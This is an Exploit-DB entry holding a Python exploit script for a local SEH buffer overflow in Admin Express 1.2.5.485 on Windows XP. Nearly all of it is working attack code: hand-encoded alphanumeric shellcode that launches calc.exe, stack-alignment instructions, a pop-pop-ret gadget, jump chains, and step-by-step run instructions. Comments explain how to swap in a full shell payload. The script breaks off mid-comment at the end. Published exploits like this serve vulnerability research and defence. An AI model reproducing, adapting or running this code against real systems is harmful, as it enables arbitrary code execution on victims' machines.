Exploit-DB #46805
Description: Admin Express 1.2.5.485 - 'Folder Path' Local SEH Alphanumeric Encoded Buffer Overflow
Type: local
Platform: windows
Date: 2019-05-07
Author: Connor McGarr

Exploit:
# Title: Admin Express v1.2.5.485 'Folder Path' Local SEH Alphanumeric Encoded Buffer Overflow
# Date: May 6th, 2019
# Author: Connor McGarr (https://connormcgarr.github.io)
# Vendor Homepage: https://admin-express.en.softonic.com/
# Software Link: https://admin-express.en.softonic.com/download
# Version v1.2.5.485
# Tested on: Windows XP SP3 EN

# TO RUN:
# 1. Run python script
# 2. Copy contents of pwn.txt
# 3. Open Admin Express
# 4. Select System Compare
# 5. Paste contents into the left-hand side Folder Path field
# 6. Click the scale icon in the middle of the screen, under the Services and Running Processes tabs


# This got a bit hairy. We manually encoded our shellcode and had to use the sub method for encoding each line of payload.
# 05 was a bad character for us, which is an add eax opcode. We could use (in hex) 1-4,6,10-7E. This was an odd character set.

# Can replace with a shell, if you are willing to do the encoding and decoding math Too preoccupied for now, so here is calc.exe
# You would need to use logical AND plus the sub eax opcodes to get a value on the stack that could jump back to the A buffer, where there is
# much more room. Then you would need to align the stack with the stack pointer value you need (not 0x012F3F4 as used below) and write to the stack upwards.
# You should have enough room for all of the logical AND plus sub eax commands to get a full-sized shell payload on the stack.

# calc.exe shellcode:
# "\x31\xc9\x51\x68"
# "\x63\x61\x6c\x63"
# "\x54\xB8\xc7\x93"
# "\xc2\x77\xff\xd0"

# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01"           # and eax, 0x01010101
zero += "\x25\x10\x10\x10\x10"          # and eax, 0x10101010

# We need to save the current stack pointer before execution of shellcode, due to
# old stack pointer value needed when executing our payload of calc.exe. This puts the current stack pointer 0x0012DC98 into ECX, to be used later
restore = "\x54" # push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack)
restore += "\x59" # pop ecx; (holding the value of old ESP in ECX, to be called later.)
restore += "\x51" # push ecx; (to get the value on the stack for the mov esp command later)

# Stack alignment
# Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack.
# After making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack.
alignment = "\x54" # push esp
alignment += "\x58" # pop eax; (puts the value of ESP into EAX)

# Write these 3 sub values in normal format, since memory address, not instruction to be executed. You do not have to do
# it this way, but I do my calculations in normal format to remind me it is a memory address, when doing hex max. For my
# other operations, I used little endian. If you do all of the calculations in one way, you do not need to flip the sub 
# math difference results. This is how I keep things straight
# 384D5555 364D5555 364E5555
alignment += "\x2d\x38\x4d\x55\x55" # sub eax, 0x384D5555
alignment += "\x2d\x36\x4d\x55\x55" # sub eax, 0x364D5555
alignment += "\x2d\x36\x4e\x55\x55" # sub eax, 0x364E5555
alignment += "\x50" # push eax
alignment += "\x5c" # pop esp; (puts the value of eax back into esp)

# calc.exe shellcode, via the sub method. Values needed are as followed. Reference the calc.exe shellcode line for line numbers.
# 1st line = 2C552D14 01552D14 01562E16
shellcode = zero
shellcode += "\x2d\x14\x2d\x55\x2c" # sub eax, 0x2C552D14
shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14
shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16
shellcode += "\x50" # push eax; (get the value on the stack). We will do this for all remaining steps like this one.

# 2nd line = [PII_REDACTED] 2414194A
shellcode += zero
shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729
shellcode += "\x2d\x39\x17\x12\x24"     # sub eax, 0x24121739
shellcode += "\x2d\x4a\x19\x14\x24"     # sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)
shellcode += "\x50" # push eax

# 3rd line = [PII_REDACTED] 34313434
shellcode += zero
shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
shellcode += "\x50" # push eax

# 4th line = 323A1245 323A1245 333A1245
shellcode += zero
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245
shellcode += "\x50" # push eax

# We need to restore the old ESP value of 0x0012DC98 to spawn calc.exe. Since it is a syscall,
# we need the ESP value before execution. We will do this by performing MOV ECX, ESP (remember ECX contains old ESP!).
# Here are the 3 values: 403F2711 3F3F2711 3F3F2811
move = zero
move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x403F2711
move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711
move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811
move += "\x50" # push eax

# All together now.
payload = "\x41" * 4260
payload += "\x70\x7e\x71\x7e" # JO 126 bytes. If jump fails, default to JNO 126 bytes
payload += "\x42\x4c\x01\x10" # 0x10014c42 pop pop ret wmiwrap.DLL

# There are 2 NULL (\x00) terminators in our buffer of A's, near our nSEH jump. We are going to jump far away from them
# so we have enough room for our shellcode and to decode.
payload += "\x41" * 122 # add padding since we jumped 7e hex bytes (126 bytes) above
payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
payload += "\x41" * 124
payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
payload += "\x41" * 124
payload += "\x70\x79\x71\x79" # JO or JNO only 121 bytes
payload += "\x41" * 121 # NOP is in the restricted characters. Using \x41 as a slide into